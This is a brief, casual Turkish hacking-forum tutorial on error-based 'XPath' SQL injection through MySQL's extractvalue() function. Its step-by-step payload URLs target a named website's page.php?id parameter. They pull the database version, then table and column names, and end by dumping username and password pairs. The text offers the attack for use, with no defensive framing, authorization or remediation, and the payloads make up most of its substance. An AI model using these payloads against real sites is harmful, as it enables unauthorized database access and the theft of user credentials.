XPath SQL İnj

Gençler Gene Ben Nasılsınız İyisinizdir İnşallah Neyse 
XPATH SQL INJ Anlatcam Rahat Olun Aslında Olay Çok Basit Önce versiyonunu buluruz sonra tablo kolon derken bir bakacaksınız ov şit men :D herşey elinizde olacak rahat olun siz hadi bakalım

Şimdi Versiyonu Bulmak İçin Ne Yapıyoruz

http://www.blackshadow.com/page.php?id=31 and extractvalue(rand(),concat(0x3a,version()))--

Oh Hadi Gene İyisin Be Bro Kapıyorsun

Sıra Geldi Tablolara Haydi Ne Duruyoruz Lan :D 
http://www.blackshadow.com/page.php?id=31 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables limit 0,1)))--

Ana Biz KOLON Adını Unuttuk Dur Dur Bir Hatırlayım Önce Tamam Hatırladım

http://www.blackshadow.com/page.php?id=31 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns where table_name=’tabloadı’ limit 0,1)))--

Şimdi Dataları Yani Verileri,Bilgileri Çekelim Demi Lan Makale Biraz Kısa Oldu Ama Kusura Bakmayın Neyse İşimi Bitiriyim Artık

Bilgileri Çekelim
http://www.blackshadow.com/page.php?id=31 and extractvalue(rand(),concat(0x3a,(select concat(username,0x3a,password) from tabloadi)))--

Bitti Çok Şükür Makale Yazarken Arkada ki O Kamyoncunun Allah Islah Eylesin Düdüğe Basıp Durdu Anlatamadıysam Kusura Bakmayın Kendinize İyi Bakın